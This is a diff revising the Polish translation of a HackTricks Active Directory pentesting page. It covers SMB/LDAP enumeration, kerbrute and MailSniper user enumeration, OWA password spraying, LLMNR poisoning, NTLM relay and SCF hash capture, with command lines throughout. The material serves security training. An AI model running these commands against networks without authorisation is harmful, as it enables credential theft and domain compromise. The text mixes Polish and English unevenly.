 {{#include ../../banners/hacktricks-training.md}}

 ## Podstawowy przegląd

-**Active Directory** pełni rolę podstawowej technologii, umożliwiającej **administratorom sieci** efektywne tworzenie i zarządzanie **domenami**, **użytkownikami** i **obiektami** w ramach sieci. Został zaprojektowany z myślą o skalowalności, pozwalając na organizację dużej liczby użytkowników w zarządzalne **grupy** i **podgrupy**, jednocześnie kontrolując **prawa dostępu** na różnych poziomach.
+**Active Directory** pełni rolę technologii bazowej, umożliwiając **administratorom sieci** efektywne tworzenie i zarządzanie **domenami**, **użytkownikami** i **obiektami** w sieci. Został zaprojektowany z myślą o skalowalności, ułatwiając organizację dużej liczby użytkowników w zarządzalne **grupy** i **podgrupy**, przy jednoczesnej kontroli **praw dostępu** na różnych poziomach.

-Struktura **Active Directory** składa się z trzech głównych warstw: **domen**, **drzew** i **lasów**. **Domena** obejmuje zbiór obiektów, takich jak **użytkownicy** czy **urządzenia**, które dzielą wspólną bazę danych. **Drzewa** to grupy tych domen powiązanych wspólną strukturą, a **las** reprezentuje zbiór wielu drzew, połączonych poprzez **relacje zaufania**, tworząc najwyższą warstwę struktury organizacyjnej. Na każdym z tych poziomów można określić konkretne **prawa dostępu** i **komunikacji**.
+Struktura **Active Directory** składa się z trzech głównych warstw: **domen**, **drzew** i **lasów**. **Domena** obejmuje zbiór obiektów, takich jak **użytkownicy** lub **urządzenia**, korzystających ze wspólnej bazy danych. **Drzewa** to grupy tych domen powiązane wspólną strukturą, a **las** reprezentuje zbiór wielu drzew, połączonych poprzez **relacje zaufania**, tworząc najwyższą warstwę struktury organizacyjnej. Konkretne **prawa dostępu** i **komunikacji** można określić na każdym z tych poziomów.

-Kluczowe pojęcia w **Active Directory** obejmują:
+Kluczowe pojęcia w ramach **Active Directory** to:

-1. **Directory** – Przechowuje wszystkie informacje dotyczące obiektów Active Directory.
-2. **Object** – Oznacza byty w katalogu, w tym **użytkowników**, **grupy** lub **udostępnione foldery**.
-3. **Domain** – Służy jako kontener dla obiektów katalogu; w **lesie** może istnieć wiele domen, z których każda przechowuje własny zbiór obiektów.
-4. **Tree** – Grupa domen dzielących wspólną domenę nadrzędną.
-5. **Forest** – Najwyższa struktura organizacyjna w Active Directory, złożona z kilku drzew powiązanych **relacjami zaufania**.
+1. **Katalog** – Przechowuje wszystkie informacje dotyczące obiektów Active Directory.
+2. **Obiekt** – Oznacza byty w katalogu, w tym **użytkowników**, **grupy** lub **udostępnione foldery**.
+3. **Domena** – Służy jako kontener dla obiektów katalogu; w ramach **lasu** może istnieć wiele domen, z każdą utrzymującą własny zbiór obiektów.
+4. **Drzewo** – Grupa domen, które dzielą wspólną domenę główną.
+5. **Las** – Najwyższa warstwa struktury organizacyjnej w Active Directory, składająca się z kilku drzew połączonych **relacjami zaufania**.

-**Active Directory Domain Services (AD DS)** obejmuje szereg usług kluczowych dla scentralizowanego zarządzania i komunikacji w sieci. Te usługi to:
+**Active Directory Domain Services (AD DS)** obejmuje szereg usług kluczowych dla scentralizowanego zarządzania i komunikacji w sieci. Usługi te obejmują:

-1. **Domain Services** – Centralizuje przechowywanie danych i zarządza interakcjami między **użytkownikami** a **domenami**, w tym funkcjami **uwierzytelniania** i **wyszukiwania**.
+1. **Domain Services** – Centralizuje przechowywanie danych i zarządza interakcjami między **użytkownikami** a **domenami**, w tym funkcjami **uwierzytelniania** i wyszukiwania.
 2. **Certificate Services** – Nadzoruje tworzenie, dystrybucję i zarządzanie bezpiecznymi **certyfikatami cyfrowymi**.
-3. **Lightweight Directory Services** – Wspiera aplikacje korzystające z katalogu poprzez protokół **LDAP**.
-4. **Directory Federation Services** – Zapewnia funkcje **single-sign-on**, pozwalając uwierzytelniać użytkowników w wielu aplikacjach webowych w jednej sesji.
-5. **Rights Management** – Pomaga chronić materiały objęte prawami autorskimi, regulując ich nieautoryzowaną dystrybucję i użycie.
-6. **DNS Service** – Kluczowa dla rozwiązywania **nazw domen**.
+3. **Lightweight Directory Services** – Wspiera aplikacje wykorzystujące katalogi przez protokół **LDAP**.
+4. **Directory Federation Services** – Zapewnia funkcje **single-sign-on** umożliwiające uwierzytelnianie użytkowników w wielu aplikacjach webowych w jednej sesji.
+5. **Rights Management** – Pomaga w ochronie materiałów objętych prawem autorskim przez regulowanie ich nieautoryzowanej dystrybucji i użycia.
+6. **DNS Service** – Kluczowe dla rozwiązywania **nazw domen**.

-Po więcej szczegółów zobacz: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
+For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)

 ### **Kerberos Authentication**

-Aby nauczyć się **atakować AD** musisz bardzo dobrze **zrozumieć** proces **uwierzytelniania Kerberos**.\
-[**Przeczytaj tę stronę jeśli nadal nie wiesz jak to działa.**](kerberos-authentication.md)
+Aby dowiedzieć się, jak **atakować AD**, musisz bardzo dobrze **zrozumieć** proces uwierzytelniania **Kerberos**.\
+[**Read this page if you still don't know how it works.**](kerberos-authentication.md)

-## Cheat Sheet
+## Skrócony przewodnik

-Możesz skorzystać z [https://wadcoms.github.io/](https://wadcoms.github.io) aby szybko zobaczyć, jakie polecenia możesz uruchomić, by enumerować/eksploitować AD.
+Możesz zajrzeć na [https://wadcoms.github.io/](https://wadcoms.github.io) aby szybko zobaczyć, które polecenia możesz uruchomić, by enumerować/eksploatować AD.

 > [!WARNING]
-> Komunikacja Kerberos **wymaga w pełni kwalifikowanej nazwy (FQDN)** do wykonywania działań. Jeśli spróbujesz uzyskać dostęp do maszyny po adresie IP, **zostanie użyty NTLM, a nie Kerberos**.
+> Komunikacja Kerberos **wymaga pełnej nazwy kwalifikowanej (FQDN)** do wykonywania działań. Jeśli spróbujesz uzyskać dostęp do maszyny przez adres IP, **zostanie używany NTLM, a nie Kerberos**.

-## Rekonesans Active Directory (Brak poświadczeń/sesji)
+## Recon Active Directory (No creds/sessions)

-Jeżeli masz dostęp do środowiska AD, ale nie posiadasz żadnych poświadczeń/sesji, możesz:
+If you just have access to an AD environment but you don't have any credentials/sessions you could:

 - **Pentest the network:**
- Skanuj sieć, znajdź maszyny i otwarte porty i spróbuj **eksploatować podatności** lub **wyciągnąć poświadczenia** z nich (na przykład [drukarki mogą być bardzo interesującymi celami](ad-information-in-printers.md)).
- Enumeracja DNS może dostarczyć informacji o kluczowych serwerach w domenie, takich jak web, drukarki, udostępnienia, vpn, media itp.
+- Skanuj sieć, znajdź maszyny i otwarte porty i spróbuj **wykorzystać luki** lub **wyciągnąć poświadczenia** z nich (for example, [printers could be very interesting targets](ad-information-in-printers.md).
+- Enumeracja DNS może dostarczyć informacji o kluczowych serwerach w domenie, takich jak serwery WWW, drukarki, udziały, VPN, multimedia itd.
 - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Zobacz ogólną [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) aby znaleźć więcej informacji o tym, jak to robić.
- **Sprawdź dostęp null i Guest na usługach smb** (to nie zadziała w nowoczesnych wersjach Windows):
+- Sprawdź ogólną [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md), aby znaleźć więcej informacji o tym, jak to robić.
+- **Check for null and Guest access on smb services** (this won't work on modern Windows versions):
 - `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
 - `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
 - `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- Bardziej szczegółowy poradnik jak enumerować serwer SMB można znaleźć tutaj:
+- A more detailed guide on how to enumerate a SMB server can be found here:


 {{#ref}}
@ -61,7 +61,7 @@ Jeżeli masz dostęp do środowiska AD, ale nie posiadasz żadnych poświadczeń

 - **Enumerate Ldap**
 - `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- Bardziej szczegółowy poradnik jak enumerować LDAP można znaleźć tutaj (zwróć **szczególną uwagę na anonimowy dostęp**):
+- A more detailed guide on how to enumerate LDAP can be found here (pay **special attention to the anonymous access**):


 {{#ref}}
@ -69,21 +69,21 @@ Jeżeli masz dostęp do środowiska AD, ale nie posiadasz żadnych poświadczeń
 {{#endref}}

 - **Poison the network**
- Zbieraj poświadczenia [**podszywając się pod usługi przy pomocy Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Uzyskaj dostęp do hosta przez [**nadużycie relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Zbieraj poświadczenia **eksponując** [**fałszywe usługi UPnP przy pomocy evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
+- Zbieraj poświadczenia [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
+- Uzyskaj dostęp do hosta przez [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
+- Zbieraj poświadczenia, **wystawiając** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
 - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Wyodrębnij nazwy użytkowników/imiona z wewnętrznych dokumentów, social media, usług (głównie web) wewnątrz środowisk domeny, a także z zasobów publicznie dostępnych.
- Jeśli znajdziesz pełne imiona i nazwiska pracowników firmy, możesz wypróbować różne konwencje nazewnictwa kont AD (**przeczytaj to**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najpopularniejsze konwencje to: _NameSurname_, _Name.Surname_, _NamSur_ (3 litery z każdego), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _losowe litery i 3 losowe cyfry_ (abc123).
+- Wydobądź nazwy użytkowników/imię i nazwisko z wewnętrznych dokumentów, mediów społecznościowych, serwisów (głównie webowych) wewnątrz środowisk domenowych oraz z zasobów publicznie dostępnych.
+- Jeśli znajdziesz pełne imiona i nazwiska pracowników firmy, możesz spróbować różnych konwencji nazewnictwa użytkowników AD (**username conventions** ([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/))). Najczęstsze konwencje to: _NameSurname_, _Name.Surname_, _NamSur_ (3letters of each), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
 - Narzędzia:
 - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
 - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)

-### User enumeration
+### Enumeracja użytkowników

- **Anonymous SMB/LDAP enum:** Sprawdź strony [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) i [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Kerbrute enum**: Gdy żądany jest **nieprawidłowy username**, serwer odpowie kodem błędu Kerberos _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, co pozwala stwierdzić, że nazwa użytkownika była nieprawidłowa. **Prawidłowe nazwy użytkowników** wywołają albo **TGT w odpowiedzi AS-REP**, albo błąd _KRB5KDC_ERR_PREAUTH_REQUIRED_, wskazując, że użytkownik musi wykonać pre-autoryzację.
- **No Authentication against MS-NRPC**: Użycie auth-level = 1 (Brak uwierzytelnienia) przeciwko interfejsowi MS-NRPC (Netlogon) na kontrolerach domeny. Metoda wywołuje funkcję `DsrGetDcNameEx2` po bindowaniu się do interfejsu MS-NRPC, aby sprawdzić, czy użytkownik lub komputer istnieje bez żadnych poświadczeń. Narzędzie [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementuje ten typ enumeracji. Badania można znaleźć [tutaj](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
+- **Anonymous SMB/LDAP enum:** Sprawdź strony [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) oraz [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
+- **Kerbrute enum**: Gdy zostanie zażądana **nieprawidłowa nazwa użytkownika**, serwer odpowie kodem błędu Kerberos _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, co pozwala stwierdzić, że nazwa użytkownika była nieprawidłowa. **Prawidłowe nazwy użytkowników** spowodują otrzymanie albo **TGT w odpowiedzi AS-REP**, albo błędu _KRB5KDC_ERR_PREAUTH_REQUIRED_, wskazując, że użytkownik musi wykonać pre-autoryzację.
+- **No Authentication against MS-NRPC**: Używając auth-level = 1 (No authentication) przeciwko interfejsowi MS-NRPC (Netlogon) na kontrolerach domeny. Metoda wywołuje funkcję `DsrGetDcNameEx2` po związaniu interfejsu MS-NRPC, aby sprawdzić, czy użytkownik lub komputer istnieje bez jakichkolwiek poświadczeń. Narzędzie [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementuje tego typu enumerację. The research can be found [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases

@ -95,9 +95,9 @@ msf> use auxiliary/gather/kerberos_enumusers
 crackmapexec smb dominio.es  -u '' -p '' --users | awk '{print $4}' | uniq
 python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
 ```
- **OWA (Outlook Web Access) Server**
+- **OWA (Outlook Web Access) serwer**

-Jeśli znajdziesz jeden z tych serwerów w sieci, możesz również przeprowadzić **user enumeration** przeciwko niemu. Na przykład możesz użyć narzędzia [**MailSniper**](https://github.com/dafthack/MailSniper):
+Jeśli natrafisz na taki serwer w sieci, możesz również przeprowadzić **enumerację użytkowników** wobec niego. Na przykład możesz użyć narzędzia [**MailSniper**](https://github.com/dafthack/MailSniper):
 ```bash
 ipmo C:\Tools\MailSniper\MailSniper.ps1
 # Get info about the domain
@ -110,18 +110,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
 Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
 ```
 > [!WARNING]
-> Możesz znaleźć listy nazw użytkowników w [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)  i w tym ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
+> Możesz znaleźć listy nazw użytkowników w [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)  oraz w tym repo ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
 >
-> Jednak powinieneś mieć **imiona osób pracujących w firmie** z kroku recon, który powinieneś wykonać wcześniej. Mając imię i nazwisko możesz użyć skryptu [**namemash.py**](https://gist.github.com/superkojiman/11076951) do wygenerowania potencjalnych poprawnych nazw użytkowników.
+> Jednak powinieneś mieć **imiona osób pracujących w firmie** z etapu recon, który powinieneś wykonać wcześniej. Mając imię i nazwisko możesz użyć skryptu [**namemash.py**](https://gist.github.com/superkojiman/11076951) do wygenerowania potencjalnych poprawnych nazw użytkowników.

-### Znając jedną lub kilka nazw użytkowników
+### Knowing one or several usernames

-Ok, więc wiesz, że masz już prawidłową nazwę użytkownika, ale nie masz haseł... Spróbuj wtedy:
-
- [**ASREPRoast**](asreproast.md): Jeśli użytkownik **nie ma** atrybutu _DONT_REQ_PREAUTH_ możesz **zażądać komunikatu AS_REP** dla tego użytkownika, który będzie zawierać pewne dane zaszyfrowane pochodną hasła użytkownika.
- [**Password Spraying**](password-spraying.md): Spróbuj najbardziej **popularnych haseł** dla każdego z odkrytych użytkowników, być może ktoś używa słabego hasła (pamiętaj o polityce haseł!).
- Zwróć uwagę, że możesz także **spray OWA servers**, aby spróbować uzyskać dostęp do serwerów pocztowych użytkowników.
+OK, więc wiesz, że masz już prawidłową nazwę użytkownika, ale nie masz haseł... Spróbuj wtedy:

+- [**ASREPRoast**](asreproast.md): Jeśli użytkownik **nie ma** atrybutu _DONT_REQ_PREAUTH_ możesz **zażądać komunikatu AS_REP** dla tego użytkownika, który będzie zawierał dane zaszyfrowane pochodną hasła użytkownika.
+- [**Password Spraying**](password-spraying.md): Wypróbuj najbardziej **popularne hasła** dla każdego z odkrytych użytkowników — być może ktoś używa słabego hasła (pamiętaj o polityce haseł!).
+- Zwróć uwagę, że możesz też **spray OWA servers**, aby spróbować uzyskać dostęp do serwerów pocztowych użytkowników.

 {{#ref}}
 password-spraying.md
@ -129,7 +128,7 @@ password-spraying.md

 ### LLMNR/NBT-NS Poisoning

-Możesz być w stanie **uzyskać** pewne challenge **hashes** do złamania, poprzez **poisoning** niektórych protokołów **sieci**:
+Możesz być w stanie uzyskać niektóre challenge **hashes**, które można złamać, przeprowadzając **poisoning** wybranych protokołów **network**:


 {{#ref}}
@ -138,22 +137,22 @@ Możesz być w stanie **uzyskać** pewne challenge **hashes** do złamania, popr

 ### NTLM Relay

-Jeśli udało Ci się zenumerować Active Directory będziesz mieć **więcej adresów e-mail i lepsze zrozumienie sieci**. Możesz być w stanie wymusić NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) aby uzyskać dostęp do środowiska AD.
+Jeśli udało ci się zenumerować Active Directory, będziesz mieć **więcej adresów e-mail i lepsze zrozumienie sieci**. Możesz być w stanie wymusić NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) aby uzyskać dostęp do środowiska AD.

 ### Steal NTLM Creds

-Jeśli możesz uzyskać **dostęp do innych maszyn lub shares** za pomocą **null lub guest user**, możesz **umieścić pliki** (np. plik SCF), które jeśli zostaną w jakiś sposób otwarte, spowodują **wyzwolenie NTLM authentication przeciwko tobie**, dzięki czemu możesz **steal** **NTLM challenge** do złamania:
+Jeśli możesz uzyskać dostęp do innych komputerów lub udziałów przy użyciu użytkownika **null** lub **guest**, możesz umieścić pliki (np. plik SCF), które po otwarciu wywołają **NTLM authentication against you**, dzięki czemu możesz **steal** **NTLM challenge** do złamania:


 {{#ref}}
 ../ntlm/places-to-steal-ntlm-creds.md
 {{#endref}}

-## Enumeracja Active Directory z poświadczeniami/sesją
+## Enumeracja Active Directory Z poświadczeniami/sesją

-Na tym etapie musisz mieć **skompromitowane poświadczenia lub sesję prawidłowego konta domenowego.** Jeśli masz jakieś prawidłowe poświadczenia lub shell jako użytkownik domenowy, **pamiętaj, że wcześniejsze opcje nadal mogą posłużyć do kompromitacji innych użytkowników**.
+Na tym etapie musisz mieć **skompr0miotowane poświadczenia lub sesję prawidłowego konta domenowego.** Jeśli masz jakieś ważne poświadczenia lub shell jako użytkownik domenowy, **pamiętaj, że opcje podane wcześniej nadal są sposobami na kompromitację innych użytkowników**.

-Zanim zaczniesz uwierzytelnioną enumerację, powinieneś znać, czym jest **Kerberos double hop problem.**
+Zanim rozpoczniesz uwierzytelnioną enumerację, powinieneś wiedzieć, czym jest **Kerberos double hop problem.**


 {{#ref}}
@ -162,34 +161,33 @@ kerberos-double-hop-problem.md

 ### Enumeracja

-Skompromitowanie konta to **duży krok w kierunku kompromitacji całej domeny**, ponieważ będziesz mógł rozpocząć **enumerację Active Directory:**
+Posiadanie skompromitowanego konta to **duży krok do rozpoczęcia kompromitacji całej domeny**, ponieważ będziesz mógł rozpocząć **Active Directory Enumeration:**

-Jeśli chodzi o [**ASREPRoast**](asreproast.md) możesz teraz znaleźć wszystkich potencjalnie podatnych użytkowników, a jeśli chodzi o [**Password Spraying**](password-spraying.md) możesz uzyskać **listę wszystkich nazw użytkowników** i spróbować hasła ze skompromitowanego konta, pustych haseł oraz nowych obiecujących haseł.
+Jeśli chodzi o [**ASREPRoast**](asreproast.md), możesz teraz znaleźć każdego możliwego podatnego użytkownika, a jeśli chodzi o [**Password Spraying**](password-spraying.md), możesz uzyskać **listę wszystkich nazw użytkowników** i spróbować hasła skompromitowanego konta, pustych haseł oraz nowych obiecujących haseł.

 - Możesz użyć [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
- Możesz również użyć [**powershell for recon**](../basic-powershell-for-pentesters/index.html), co będzie bardziej dyskretne
- Możesz również [**use powerview**](../basic-powershell-for-pentesters/powerview.md) aby wydobyć bardziej szczegółowe informacje
- Kolejnym świetnym narzędziem do rozpoznania w Active Directory jest [**BloodHound**](bloodhound.md). Nie jest ono **zbyt dyskretne** (w zależności od używanych metod zbierania), ale **jeśli ci to nie przeszkadza**, zdecydowanie powinieneś go wypróbować. Znajdź gdzie użytkownicy mogą RDP, znajdź ścieżki do innych grup, itd.
+- Możesz także użyć [**powershell for recon**](../basic-powershell-for-pentesters/index.html), co będzie bardziej stealthy
+- Możesz też [**use powerview**](../basic-powershell-for-pentesters/powerview.md) do wydobycia bardziej szczegółowych informacji
+- Innym świetnym narzędziem do recon w Active Directory jest [**BloodHound**](bloodhound.md). Nie jest ono **zbyt stealthy** (zależnie od metod kolekcji, których użyjesz), ale **jeśli ci na tym nie zależy**, zdecydowanie warto spróbować. Znajdź, gdzie użytkownicy mogą RDP, znajdź ścieżki do innych grup itp.
 - **Inne zautomatyzowane narzędzia do enumeracji AD to:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
 - [**DNS records of the AD**](ad-dns-records.md), ponieważ mogą zawierać interesujące informacje.
- Narzędzie z GUI, którego możesz użyć do enumeracji katalogu to **AdExplorer.exe** z pakietu **SysInternal** Suite.
- Możesz również przeszukać bazę LDAP za pomocą **ldapsearch**, aby szukać poświadczeń w polach _userPassword_ & _unixUserPassword_, lub nawet w polu _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) dla innych metod.
- Jeśli używasz **Linux**, możesz również enumerować domenę używając [**pywerview**](https://github.com/the-useless-one/pywerview).
- Możesz również spróbować narzędzi automatycznych takich jak:
+- Narzędzie z GUI, którego możesz użyć do enumeracji katalogu, to **AdExplorer.exe** z pakietu **SysInternal**.
+- Możesz też przeszukać bazę LDAP za pomocą **ldapsearch**, szukając poświadczeń w polach _userPassword_ & _unixUserPassword_, albo nawet w _Description_. por. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) dla innych metod.
+- Jeśli używasz **Linux**, możesz także zenumerować domenę używając [**pywerview**](https://github.com/the-useless-one/pywerview).
+- Możesz też wypróbować zautomatyzowane narzędzia takie jak:
 - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
 - [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
 - **Wyodrębnianie wszystkich użytkowników domeny**

-Bardzo łatwo uzyskać wszystkie nazwy użytkowników domeny z Windows (`net user /domain`, `Get-DomainUser` lub `wmic useraccount get name,sid`). W Linuxie możesz użyć: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` lub `enum4linux -a -u "user" -p "password" <DC IP>`
+Bardzo łatwo jest uzyskać wszystkie nazwy użytkowników domeny z Windows (`net user /domain` ,`Get-DomainUser` lub `wmic useraccount get name,sid`). W Linux można użyć: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` lub `enum4linux -a -u "user" -p "password" <DC IP>`

-> Nawet jeśli sekcja Enumeracja wydaje się krótka, to jest to najważniejsza część. Odwiedź linki (głównie te dotyczące cmd, powershell, powerview i BloodHound), naucz się jak enumerować domenę i ćwicz, aż poczujesz się pewnie. Podczas oceny/próby będzie to kluczowy moment, aby znaleźć drogę do DA albo zdecydować, że nic nie da się zrobić.
+> Nawet jeśli sekcja Enumeracja wygląda krótko, to jest to najważniejsza część. Odwiedź linki (głównie te dotyczące cmd, powershell, powerview i BloodHound), naucz się, jak enumerować domenę i ćwicz, aż poczujesz się pewnie. Podczas testu bezpieczeństwa będzie to kluczowy moment, by znaleźć drogę do DA lub zdecydować, że nic więcej nie da się zrobić.

 ### Kerberoast

-Kerberoasting polega na uzyskaniu **TGS tickets** używanych przez usługi powiązane z kontami użytkowników i łamaniu ich szyfrowania — które opiera się na hasłach użytkowników — **offline**.
-
-Więcej na ten temat w:
+Kerberoasting polega na uzyskaniu **TGS tickets** używanych przez usługi powiązane z kontami użytkowników i złamaniu ich szyfrowania — opartego na hasłach użytkowników — **offline**.

+Więcej na ten temat:

 {{#ref}}
 kerberoast.md
@ -197,17 +195,17 @@ kerberoast.md

 ### Remote connexion (RDP, SSH, FTP, Win-RM, etc)

-Gdy zdobędziesz poświadczenia, możesz sprawdzić, czy masz dostęp do jakiejkolwiek **machine**. W tym celu możesz użyć **CrackMapExec**, aby spróbować łączyć się z kilkoma serwerami przy użyciu różnych protokołów, zgodnie z wynikami skanowania portów.
+Gdy zdobędziesz poświadczenia, możesz sprawdzić, czy masz dostęp do jakiejkolwiek **maszyny**. W tym celu możesz użyć **CrackMapExec**, aby próbować łączyć się z wieloma serwerami, używając różnych protokołów, zgodnie z wynikami skanów portów.

-### Local Privilege Escalation
+### Lokalna eskalacja uprawnień

-Jeśli masz skompromitowane poświadczenia lub sesję jako zwykły użytkownik domenowy i masz **dostęp** tym kontem do **jakiejkolwiek maszyny w domenie**, powinieneś spróbować znaleźć sposób na **escalate privileges locally i zebranie poświadczeń**. Tylko z uprawnieniami lokalnego administratora będziesz mógł **dump hashes of other users** z pamięci (LSASS) i lokalnie (SAM).
+Jeśli skompromitowałeś poświadczenia lub sesję jako zwykły użytkownik domenowy i masz z tym użytkownikiem **dostęp** do **dowolnej maszyny w domenie**, powinieneś spróbować znaleźć sposób na **escalate privileges locally and looting for credentials**. Tylko z uprawnieniami lokalnego administratora będziesz mógł **dump hashes of other users** z pamięci (LSASS) i lokalnie (SAM).

-W tej książce jest pełna strona o [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) oraz [**checklist**](../checklist-windows-privilege-escalation.md). Również nie zapomnij użyć [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
+W tej książce jest pełna strona poświęcona [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) oraz [**checklist**](../checklist-windows-privilege-escalation.md). Nie zapomnij też użyć [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).

 ### Current Session Tickets

-Jest bardzo **mało prawdopodobne**, że znajdziesz w bieżącym użytkowniku **tickets**, które **dają Ci pozwolenie na dostęp** do nieoczekiwanych zasobów, ale możesz sprawdzić:
+Jest bardzo **mało prawdopodobne**, że znajdziesz **tickets** w bieżącym użytkowniku, które dawałyby ci uprawnienia do dostępu do nieoczekiwanych zasobów, ale możesz sprawdzić:
 ```bash
 ## List all tickets (if not admin, only current user tickets)
 .\Rubeus.exe triage
@ -217,17 +215,17 @@ Jest bardzo **mało prawdopodobne**, że znajdziesz w bieżącym użytkowniku **
 ```
 ### NTLM Relay

-If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
+Jeśli udało ci się zenumerować Active Directory, będziesz miał **więcej adresów e-mail i lepsze zrozumienie sieci**. Możesz być w stanie wymusić NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**

 ### Looks for Creds in Computer Shares | SMB Shares

-Teraz, gdy masz podstawowe credentials powinieneś sprawdzić, czy możesz **znaleźć** jakieś **interesujące pliki udostępnione w AD**. Możesz to zrobić ręcznie, ale to bardzo nudne, powtarzalne zadanie (a tym bardziej, jeśli znajdziesz setki dokumentów, które musisz sprawdzić).
+Teraz, gdy masz podstawowe poświadczenia, powinieneś sprawdzić, czy możesz **znaleźć** jakieś **interesujące pliki udostępnione w AD**. Możesz to zrobić ręcznie, ale to bardzo nudne, powtarzalne zadanie (zwłaszcza jeśli znajdziesz setki dokumentów do przejrzenia).

 [**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)

 ### Steal NTLM Creds

-If you can **access other PCs or shares** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:
+Jeśli możesz **uzyskać dostęp do innych komputerów lub udziałów**, możesz **umieścić pliki** (np. SCF file), które jeśli w jakiś sposób zostaną otwarte, will t**rigger an NTLM authentication against you** dzięki czemu możesz **steal** the **NTLM challenge** to crack it:


 {{#ref}}
@ -236,7 +234,7 @@ If you can **access other PCs or shares** you could **place files** (like a SCF

